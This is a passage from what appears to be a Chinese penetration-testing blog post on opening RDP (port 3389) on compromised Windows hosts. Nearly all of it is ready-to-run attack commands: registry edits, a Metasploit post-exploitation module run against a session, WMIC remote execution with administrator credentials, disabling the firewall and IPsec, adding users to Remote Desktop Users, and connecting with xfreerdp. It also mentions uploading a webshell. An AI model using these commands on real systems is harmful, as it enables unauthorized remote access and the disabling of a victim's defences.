reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f

(2) 上传到目标主机后运行

3、MSF 命令开启 3389 端口

(1)获取到目标主机的 shell

(2)background 后使用如下命令:

use post/windows/manage/enable_rdp
set session 1
exploit

4、cmd 命令开启 3389:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

5、WMIC 命令开启 3389 :

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

前提条件是确保 "Windows Management Instrumentation(Winmgmt)" 服务已正常启动 

6、WMIC 远程开启 3389:

(1)支持系统:Win2k/XP/Win2k3

wmic /node:192.168.103.154 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

(2)支持系统:Win7/Win2k8/Win8.1/Win10/2012/2016

wmic /node:192.168.103.154 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='08serverR2-1' call SetAllowTSConnections 1
或
wmic /node:192.168.103.154 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

        其实就是利用 WMIC 远程执行命令的方式来执行 WMIC、REG 等开启 3389 端口的命令。
WMIC远程开启3389端口时不能用%COMPUTERNAME%环境变量替代远程主机的计算机名。
错误:描述 = 拒绝访问,这是因为开启了 UAC 用户账户控制,只允许RID500管理员执行此操作。

14.2  查询是否开启 3389 及端口号

1、执行命令,返回 0x0 则为开启,0x1 则为未开启:

REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

2、用注册表查询端口号:

(1)上传 webshell

(2)在 regshell 中查询

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\

3、命令查询端口号:

REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /s
或
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDPTcp" /v PortNumber
转码
set /a Port=0xd3d

4、用服务来查询端口号:

tasklist /svc | findstr "TermService"
netstat -ano | findstr "进程号"

5、直接查询服务:

net start 

 

14.3  连接不上的一些操作

1、关闭防火墙:

netsh advfirewall show allprofile state 查询状态
netsh advfirewall set allprofiles state off 关闭防火墙
netsh advfirewall set allprofiles state on 启动防火墙
net stop "Windows Firewall" 关闭防火墙
sc config sharedaccess start= disabled 禁用防火墙
net stop sharedaccess 关闭防火墙

2、关闭 ipsec:

net stop "IPsec Policy Agent"

3、若出现如下报错:

说明远程桌面连接被设置为了:

这时候可以:

(1)换相同或版本接近的操作系统

(2)使用工具 xfreerdp(kali 自带):

xfreerdp /f /u:administrator /p:123456 /v:192.168.103.154

4、若出现如下报错:

说明该用户没有在远程桌面组中,需要添加:

net localgroup "Remote Desktop Users" chun /add

5、终端超出最大连接数时可用下面的命令来连接:

mstsc /v:192.168.103.154:3389 /console
  • 22
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值